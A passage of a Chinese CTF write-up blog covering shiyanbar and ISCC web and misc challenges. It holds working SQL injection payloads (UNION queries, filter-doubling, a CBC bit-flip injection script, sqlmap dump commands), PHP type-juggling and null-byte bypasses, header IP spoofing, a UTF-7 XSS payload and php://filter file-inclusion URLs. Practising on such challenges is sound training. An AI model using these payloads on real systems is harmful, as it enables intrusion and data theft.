# 得到源码生产的随机值iv 和aes 加密得cipher,并且plain 明文在cbc字节反转下可控
cookies_new={'iv':iv_new,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
print 'Payload:%s\n>> ' %(payload)
print cont
pass
# 不断带入构造好的sql 语句,得到返回结果即可
def foo():
pcat('12',4,'2','#')
pcat('0 2nion select * from((select 1)a join (select 2)b join (select
3)c);'+chr(0),6,'2','u')
pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from
information_schema.tables where table_schema regexp database())b join (select
3)c);'+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from
information_schema.columns where table_name regexp 'you_want')b join (select
3)c);"+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join
(select 3)c);"+chr(0),6,'2','u')
pass
if __name__ == '__main__':
foo()
print 'ok'

后台登录

查看源码发现

1
2
3
4
5
6
7
8
9
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->

密码是经过md5哈希加密的,不懂网上查了一下,脑洞题,密码image中的ffifdyop

上传绕过

随便上传一个png图片
image
那上传一个PHP喃
image
在上传绕过里最有名的的就是00截断,那么我们就先要抓包
image

image

image

Once More

提示:科学计数法
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

一道代码审计题,根据if语句要求,password必须大于9999999,但是长度小于8,而且还要等于*-*
根据提示科学计数法,再利用%00截断,因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,构造password=1e8%00*-*
另一种方法也是利用题目中的函数遇到数字会返回NULL来绕过
image

程序逻辑问题

查看源码发现index.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

根据源码可以看到两处特别需要重视的地方,很明显该sql语句存在注入漏洞,但是密码栏不能通过一般的注入来绕过,但是可以发现,只要满足了($row[pw]) &&(!strcasecmp($pass,$row[pw])就可以拿到flag,也就是说,我们输入的$pass与从数据库取出来的pw一致就行,我们可以控制$pass的值,但是貌似不知道数据库中pw的值,但是我们可以直接用union select ‘某一个经过md5加密后的字符串’#来自己随意设定密码,注意这里一定是经过md5加密,不然会出错。

构造语句:’ and 0=1 union select ‘529CA8050A00180790CF88B63468826A’#

密码:hehe

就拿到flag了。

php大法

页面提示:index.php.txt
打开得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(eregi("hackerDJ",$_GET[id])) {\\get传参的id值不能等于hackerDJ
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);\\对id值进行一次解码
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

值得一提的是我们在网页输入url时已经进行了一次url解码,所以这里解码了两次得到的hackerDJ,所以我们传入的原始值应该是两次url编码后的hackerDJ
构造url: index.php?id=%2568ackerDJ
flag: DUTCTF{PHP_is_the_best_program_language}

Forms

打开链接后显示:
image
发现只有一个输入框,什么也没有,查看源代码,发现有一个隐藏的输入框:
image
这时按F12,修改type=”hidden”为”text”后就能看到输入框了,其中value=0,这时候还是不知道另外一个输入框该填什么,然后试着修改了一下value的值,令value=1,再提交一下,就看到进一步的提示了:
image
这时复制pin值到输入框里就拿到flag

简单的SQL注入2

试着先输入1,再输入1’,页面报语法错误,再输入1 ‘页面出现SQLi detected!,推出空格被它过滤了
用SQLmap跑一下
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –dbs
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –tables -D web1
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –dump -C flag -T flag -D web1
image

简单的SQL注入3

输入1,页面显示hello,输入1’,页面报错
sqlmap跑起来
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –dbs
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –tables -D web1
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –dump -C flag -T flag -D web1
image

简单的SQL注入

这道题也是sql注入,输入1,页面显示正常,输出1’,页面报错

之后通过输入查表字段,发现union select 被过滤了,这是想到用两个union表示

重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格
1.查询当前数据库

1’ unionunion selectselect database()’

2.查询数据库中的表

1’ unionunion selectselect table_name fromfrom information_schema.tables wherewhere ‘1’=’1

3.查询字段名

1’ unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name=’flag

4.最后构造出1’ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1
image

你真的会PHP吗?

抓包发现提示:
image
hint:6c525af4059b4fe7d8c33a.txt
打开发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php


$info = "";
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false);
error_reporting(0);


if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");
}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}


function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}


if(is_numeric($_REQUEST['number'])){//这里判断的是未经trim()和addslashes()处理过的变量

$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

$info = "number must be equal to it's integer!! ";

}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}

echo $info;

POST的number需要满足以下条件:
1.不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断)
2.不能是一个回文数。(is_palindrome_number判断)
3.该数的反转的整数值应该和它本身的整数值相等。
绕过方法:
1.利用intval函数溢出绕过
$number不是数字;$number==strval(intval($number));$number不是回文数

这里要看下操作系统,32位有符号数int范围-2147483648 ~ 2147483647;64位 - 9223372036854775808~9223372036854775807
可用payload
32位:2147483647%00;%002147483647;2147483647%20
64位:9223372036854775807%00;%009223372036854775807;9223372036854775807%20
%00可以放在数字前后,%20只能放在后面;这里的%00或者是%20可以将数字解释为字符串
2.用科学计数法构造0=0
因为要求不能为回文数,但又要满足intval($req[“number”])=intval(strrev($req[“number”])),所以我们采用科学计数法构造poc为number=0e-0%00,这样的话我们就可以绕过

iscc ctf题小记

ISCC CTF小计(更新中)

上周经班上同学说起,才知道最近有个信息安全竞赛,题目比较基础,就尝试着做了一下,做的不多

MISC

What is that?

下载附件,得到一张图片
image

看到手指指向的地方想到flag可能就在图片下面,根据经验,应该是修改图片宽度隐藏了flag

用winhex打开图片
这里就要了解一些png图片结构的一些知识了
推荐阅读分析PNG图像结构

找到表示图片长度宽度的十六进制码
image

00 00 02 72 是图片的宽度
00 00 01 F4 是图片的长度
明显图片长宽并不标准,我们将长度修改为00 00 02 72,保存 得到flag
image

数字密文

题目给了一串数字69742773206561737921
观察发现每一位都是在0到9之间,想到了十进制编码,百度搜了一下,看见了这篇文章实验吧的一道题
CTF—密码学入门第六题 古典密码
于是把密文改成了
&#69&#74&#27&#73&#20&#65&#61&#73&#79&#21用十进制解码发现是乱的,在想会不会是十六进制,用十六进制解码成功得到flag

秘密电报

压缩包解压得到
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA
知识就是力量不是培根说的吗?培根密码无误
image
放到在线解密网站得到flag

重重谍影

打开网页
image
题目提示:刹那便是永恒。南无阿弥陀佛。想到了土豆文
再看看页面上的应该是base64码

多次解密得到一串不是base64的值(注意解码中的坑每次解码都需要将末尾的%3D,也就是“=”的url编码去掉),得到一串密文

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5r
KClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkp
b6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc

刚开始不知道是什么,问了一下做出来的同学,才知道是AES加密,把%0A换成换行符,找一个在线AES解码的平台得到密文:

答案就是后面这句但已加密 缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

是土豆文没错
与佛论禅
image

有趣的ISCC

又是一张图片
image
试了很多办法都没用,后面用winhex打开,发现文件尾部有一串Unicode编码

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

Unicode解码得到

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

再转一次得到flag:flag{iscc is fun}

凯撒十三世

提示:凯撒十三世在学会使用键盘后
密文:ebdgc697g95w3
猜测是凯撒密码加键盘密码
打开在线凯撒密码网站 移位数应该是13
刚开始以为是解密,解了半天什么都没有,结果是加密。。。加密得到 roqtp697t95j3
键盘密码:
我们注意到大键盘区所有的字母上面都有其对应的数字,这个位置几乎在所有的键盘都是相同的。所以我们可以利用这一点应用单表替换的方法进行加密:
1 2 3 4 5 6 7 8 9 0
Q W E R T Y U I O P
A S D F G H J K L
Z X C V B N M

我们根据上表可以得出,Q是1下面的第一个,A是1下面的第二个……以此类推,每一个字母都会有其对应的数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
A 12
B 53
C 33
D 32
E 31
F 42
G 52
H 62
I 81
J 72
K 82
L 92
M 73
N 63
O 91
P 01
Q 11
R 41
S 22
T 51
U 71
V 43
W 21
X 23
Y 61
Z 13

第一个数字代表横向(X坐标)的位置,第二个数字代表纵向(Y坐标)的位置。
得到flag:yougotme

web

比较数字大小

进去发现有一个输入框,随便输入一点
image
那输入数字吧 ,发现只能输入3位,提交
image
查看html代码发现

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
</head>
<body>
<form action="" method="post">
<input type="text" maxlength="3" name="v"/>
<input type="submit" value="提交"/>
</form>
</body>
</html>

数字太小了!

输入框限制了数字位数,修改

1
<input type="text" maxlength="10" name="v"/>

再输入一个较大的数,得到flag:key is 768HKyu678567&*&K

web01

此道为代码审计题

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

题目要求是get传参password,这里涉及到strcmp函数的漏洞

1
int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
该漏洞是用于php5.3之前的版本
该函数要求是上传字符串进行比较,当我们传入非法参数时,如数组,在php5.3之前函数会报错,return 0!刚好和两个字符串相等返回0的结果一样
于是我们在url中输入?password[]=1,利用数组是非法参数报错,得到flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}

本地的诱惑

提示:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?
只允许本地访问,那我们就用bp抓包伪造ip
推荐文章网络安全之IP伪造
添加X-Forwarded-For请求头,修改IP地址为127.0.0.1
image
得到flag
后面才发现。。。直接F12,flag就在html代码中。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta charset="utf-8" />
</head>
<body>

<?php
//print_r($_SERVER);
$arr=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if($arr[0]=='127.0.0.1'){
//key
echo "key is ISCC{^&*(UIHKJjkadshf}";
}else{
echo "必须从本地访问!";
}
?> </body>
</html>
你能跨过去吗?

提示:xss
题目:http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413
发现和实验吧的xss题有点类似
对网址进行转义,发现其中有段base64编码

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-&_=1302746925413 

看到类似“+/v+ +ADwAcwBjAHIAaQBwA”想到了UTF-7编码
xssee 在线解码得到

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=+/v+ <script>alert("key:/%nsfocusXSStest%/")</script>-&_=1302746925413 

将/%nsfocusXSStest%/输入提交框,弹出弹框:恭喜你!flag{Hell0World}

一切都是套路

提示:好像有个文件忘记删了&flag is here
应该是备份文件泄露
找到文件泄露地址
http://118.190.152.202:8009/index.php.txt
得到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

又是代码审计
看到$$想到了变量覆盖漏洞,这类漏洞也常常和foreach联系在一起
post:flag=flag
get:?_200=flag
post传入变量使得flag变量的值为flag,绕过比较
get传参将flag变量的值赋值给_200,最后打印出来
得到flag:flag ISCC{taolu2333333….}

你能绕过吗?

刚开始以为是SQL注入,一直再瞎搞,后面经过朋友提示知道里是文件包含,PHP伪协议

推荐文章PHP伪协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(_
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(_
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
利用PHP://filter过滤器读取index.php的代码,刚开始测试点是id,发现应该不是这里,再测试了f:
http://118.190.152.202:8008/index.php?f=php://filter/read=convert.base64-encode/resource=index.php&id=4
image
报错。。。
后面发现过滤了php字符
修改:http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=4 (至于为什么要将index后面的.php删掉不太清楚)
后面看了代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title>导航页</title>
<meta charset="UTF-8">
</head>
<body>
<a href='index.php?f=articles&id=1'>ID: 1</href>
</br>
<a href='index.php?f=articles&id=2'>ID: 2</href>
</br>
<a href='index.php?f=articles&id=3'>ID: 3</href>
</br>
<a href='index.php?f=articles&id=4'>ID: 4</href>
</br>
</body>
</html>

<?php
#ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}

?>

代码中过滤了php字符,并且会在f参数后加上.php,明白了

web2

提示:错误!你的IP不是本机ip!
应该还是IP伪造
试了最常见的几个伪造ip响应头文件都不行 X-Forwarded-For
X-Client-IP
X-Real-IP
CDN-Src-IP …
后面试了一下Client-IP ,成了
image

Please give me username and password!

页面显示:Please give me username or password!
那我们就get传参username和password先试一下
http://118.190.152.202:8017/?username=1&password=1000
查看代码发现

1
Username is not right<!--index.php.txt--><p>Password too long</p>

打开index.php.txt发现PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>
1
2
3
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";

这一段要求flag变量值要与username参数值相同,我们可以利用strcasecmp函数传入非法参数报错返回0绕过

1
2
3
4
5
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';

这一段是要求password的长度要小于4,但是值却要大于999,这里我们可以用科学计数法绕过
构造http://118.190.152.202:8017/index.php/?username[]=1&password=9E9
得到flag:flag{ISCC2018_Very_GOOD!}

php是世界上最好的语言

又是一道代码审计的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>

要求的是post传入username和password两个参数,password参数的md5值要等于0
推荐文章PHP处理0e开头md5哈希字符串缺陷/bug
输入框输入username=1,password=QNKCDZO得到

1
2
3
4
5
6
7
8
9
NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
str_replace("{","",$a);
str_replace("}","",$a);
@eval("var_dump($$a);");
show_source(__FILE__);

?>

这里又是$$变量覆盖漏洞使用全局数组变量GLOBALS打印出所有变量值
http://118.190.152.202:8005/no_md5.php?a=GLOBALS
image

SQL注入的艺术

找到个人信息处应该是宽字节注入,http://118.190.152.202:8015/index.php?id=1%27%df
利用SQLmap得到flag

,